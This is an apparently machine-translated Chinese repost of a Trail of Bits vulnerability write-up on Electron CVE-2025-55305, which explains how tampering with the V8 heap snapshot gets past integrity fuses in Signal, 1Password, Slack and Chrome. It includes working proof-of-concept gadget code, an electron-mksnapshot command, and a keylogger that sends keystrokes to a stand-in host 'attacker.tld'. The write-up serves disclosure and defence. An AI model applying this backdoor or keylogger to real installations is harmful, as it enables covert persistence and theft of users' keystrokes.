文章揭示了Electron应用中一个名为CVE-2025-55305的漏洞,该漏洞允许攻击者通过篡改V8堆快照文件,绕过代码完整性检查,从而在Signal、1Password、Slack和Chrome等应用中植入后门。尽管Electron提供了完整性检查机制,但默认未启用,且未能覆盖V8堆快照,使得攻击者能够利用此漏洞实现持久性的隐蔽攻击。
在我于 Trail of Bits 的第一个 shadow 项目中,我调查了各种流行的基于 Electron- 的应用程序,以寻找代码完整性检查绕过的方法。我发现了一种通过篡改代码完整性检查之外的可执行内容来对 Signal、1Password (已在 v8.11.8-40 中修复)、Slack 和 Chrome 进行后门攻击的方法。 为了寻找允许攻击者将恶意代码植入已签名应用程序的漏洞,我发现了一个框架级别的绕过,它几乎影响所有构建于 Chromium 引擎之上的应用程序。以下是对 Electron CVE-2025-55305 的深入研究,这是一个通过覆盖 V8 堆快照文件来对应用程序进行后门攻击的实际示例。
确保代码完整性不是一个新问题,但不同软件生态系统对此采用的方法各不相同。Electron 项目提供了一组 fuses(又名 特性开关),以在可执行脚本组件上强制执行 完整性检查。这些 fuses 默认情况下未启用,必须由开发人员显式启用。
图 1:Slack 中启用了 EnableEmbeddedAsarIntegrityValidation 和 OnlyLoadAppFromAsar
EnableEmbeddedAsarIntegrityValidation
确保包含 Electron 应用程序代码的归档文件与开发人员打包应用程序时完全一致,OnlyLoadAppFromAsar
确保该归档文件是加载应用程序代码的唯一位置。结合起来,这两个 fuses 构成了 Electron 确保应用程序加载的任何 JavaScript 在执行前都经过篡改检查的方法。再加上操作系统级别的可执行代码签名,这旨在保证应用程序运行的代码与开发人员分发的代码完全一致。这种保证的丧失打开了潘多拉魔盒般的问题,最值得注意的是,攻击者可以:
滥用没有完整性检查的 Electron 应用程序绝非理论上的问题,它已经足够普遍,拥有自己的 MITRE ATT&CK 技术条目:T1218.015。Loki C2 是一个基于此技术的流行的命令和控制框架,它使用受信任应用程序(VS Code、Cursor、GitHub Desktop、Tidal 等)的后门版本来逃避端点检测和响应 (EDR) 软件(如 CrowdStrike Falcon),并绕过应用程序控制(如 AppLocker)。了解了这一点,就不难发现,像 1Password、Signal 和 Slack 这样具有高安全性要求的组织在其 Electron 应用程序中启用了完整性检查,以降低这些应用程序成为高级威胁参与者下一个持久性机制的风险。
用 Google V8 团队的话来说,
V8 使用了一个快捷方式来加速:就像解冻冷冻披萨来快速晚餐一样,我们直接将先前准备好的快照反序列化到堆中,以获得一个初始化的上下文。 |
---|
基于 Chromium 的 Electron 应用程序继承了使用“V8 堆快照”文件来加速加载其各种浏览器组件的做法(参见 main, preload, renderer)。在每个组件中,应用程序逻辑都在新实例化的 V8 JavaScript 引擎沙箱(称为 V8 isolate)中执行。这些 V8 isolate 从头开始创建成本很高,因此基于 Chromium 的应用程序从堆快照加载先前创建的基线状态。
虽然堆快照在反序列化时并非完全可执行,但其中的 JavaScript builtin 仍然可以被篡改以实现代码执行。只需要一个由宿主应用程序以高度一致性执行的 gadget,就可以将未签名代码加载到任何 V8 isolate 中。Electron 在实现 EnableEmbeddedAsarIntegrityValidation
和 OnlyLoadAppFromAsar
时的疏忽意味着它没有将堆快照视为“可执行”应用程序内容,因此它没有对快照执行完整性检查。Chromium 也没有对堆快照执行完整性检查。
当应用程序安装到用户可写位置时(例如 Windows 上的 %AppData%\Local
和 macOS 上的 /Applications
,但存在某些限制),篡改堆快照就变得尤其成问题。由于大多数 Chromium 衍生应用程序默认安装到用户可写路径,因此具有文件系统写入权限的攻击者可以悄悄地将快照后门写入到现有应用程序,或者自带易受攻击的应用程序(所有这些都无需特权提升)。该快照不会显示为可执行文件,不会被操作系统的代码签名检查拒绝,也不会被 Chromium 或 Electron 进行完整性检查。这使其成为隐蔽持久性的绝佳选择,并且由于它包含在所有 V8 isolate 中,因此它是一个非常有效的基于 Chromium 的应用程序后门。
虽然创建自定义 V8 堆快照通常涉及痛苦地编译 Chromium,但值得庆幸的是,Electron 提供了一个可用于此目的的 预构建组件。因此,很容易创建一个 payload,覆盖全局范围的成员,然后使用精心制作的快照运行目标应用程序。
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// 将生成的文件复制到应用程序的 `v8_context_snapshot.bin` 上
const orig = Array.isArray;
// 使用 V8 builtin `Array.isArray` 作为 gadget。
Array.isArray = function() {
// 当 Array.isArray 被调用时,执行攻击者代码。
throw new Error("testing isArray gadget");
};
图 2:一个简单的 gadget 示例
使用无条件抛出错误的 gadget 覆盖 Array.isArray
会导致预期的崩溃,这表明经过完整性检查的应用程序很乐意从其 V8 isolate 快照中包含未签名的 JavaScript。可以在不同的 V8 isolate 中发现不同的 builtin,这允许 gadget 通过取证的方式发现它们在哪个 isolate 中运行。例如,Node.js 的 process.pid
和各种 Node.js 方法是主进程的 V8 isolate 中独有的。下面的示例演示了 gadget 如何使用此技术在不同的isolate 中选择性地部署代码。
const orig = Array.isArray;
// 使用自定义实现覆盖 V8 builtin `Array.isArray`
// 这在应用程序生命周期的不同上下文中使用
Array.isArray = function() {
// 等待在主进程中加载,使用 process.pid 作为哨兵
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
// 访问未定义的 builtin 会在某些 isolate 中引发异常
return orig(...arguments);
}
// 运行恶意 payload 一次
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// 演示提升的 node 功能的存在
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
图 3.1:在 Electron 主进程中寻找 Node.js 功能
图 3.2:在 Electron 主进程中寻找 Node.js 功能
有了 Electron 应用程序中所有 isolate 都使用的有效 gadget,就可以在著名的 Electron 应用程序中制作简单的应用程序后门演示。为了捕捉影响,我们选择了 Slack、1Password 和 Signal 作为引人注目的概念验证。请注意,由于主进程中不受约束的功能,甚至可以更广泛地绕过应用程序控制(CSP、上下文隔离)。
const orig = Array.isArray;
Array.isArray = function() {
// 等待在浏览器上下文中加载
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {"mode": "no-cors"})
}
}, 1000);
}
return orig(...arguments);
};
图 4:在 Slack 中嵌入键盘记录器的基本示例
通过概念验证,该团队将此漏洞报告给 Electron 维护者,作为完整性检查 fuses 的绕过。Electron 的维护者迅速发布了 CVE-2025-55305。我们要感谢 Electron 团队以专业和迅速的方式处理此报告。与他们合作非常愉快,他们对用户安全的坚定承诺值得称赞。同样,我们要感谢 Signal、1Password 和 Slack 团队对我们礼貌披露此问题的快速响应。
“我们通过 Trail of Bits 负责任的披露了解了 Electron CVE-2025-55305,1Password 已在 v8.11.8-40 中修补了该漏洞。保护我们客户的数据始终是我们最优先事项,我们鼓励所有客户更新到最新版本的 1Password,以确保他们的安全。” 1Password 首席信息安全官 Jacob DePriest
大多数 Electron 应用程序默认禁用完整性检查,而大多数启用完整性检查的应用程序都容易受到快照篡改的影响。但是,基于快照的后门不仅对 Electron 生态系统构成风险,而且对整个基于 Chromium 的应用程序构成风险。我的同事 Emilio Lopez 通过演示使用类似技术在本地对 Chrome 及其衍生浏览器进行后门攻击的可能性,进一步发展了这项技术。鉴于这些浏览器通常安装在用户可写的位置,这构成了另一种未被发现的持久性后门的风险。
尽管为其他代码完整性风险提供了 类似的缓解措施,但 Chrome 团队表示,本地攻击 已明确排除在其威胁模型之外。我们仍然认为这是用户浏览器遭到持久且未被发现的入侵的一种现实且合理的途径,特别是考虑到攻击者可以分发包含恶意代码但仍能通过代码签名的 Chrome 副本。作为一种缓解措施,Chromium 衍生项目的作者应考虑应用 Electron 团队实施的相同完整性检查控制。
如果你担心应用程序中存在类似的漏洞,或者需要帮助实施适当的完整性控制,请联系我们的团队。
- 原文链接: blog.trailofbits.com/202...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!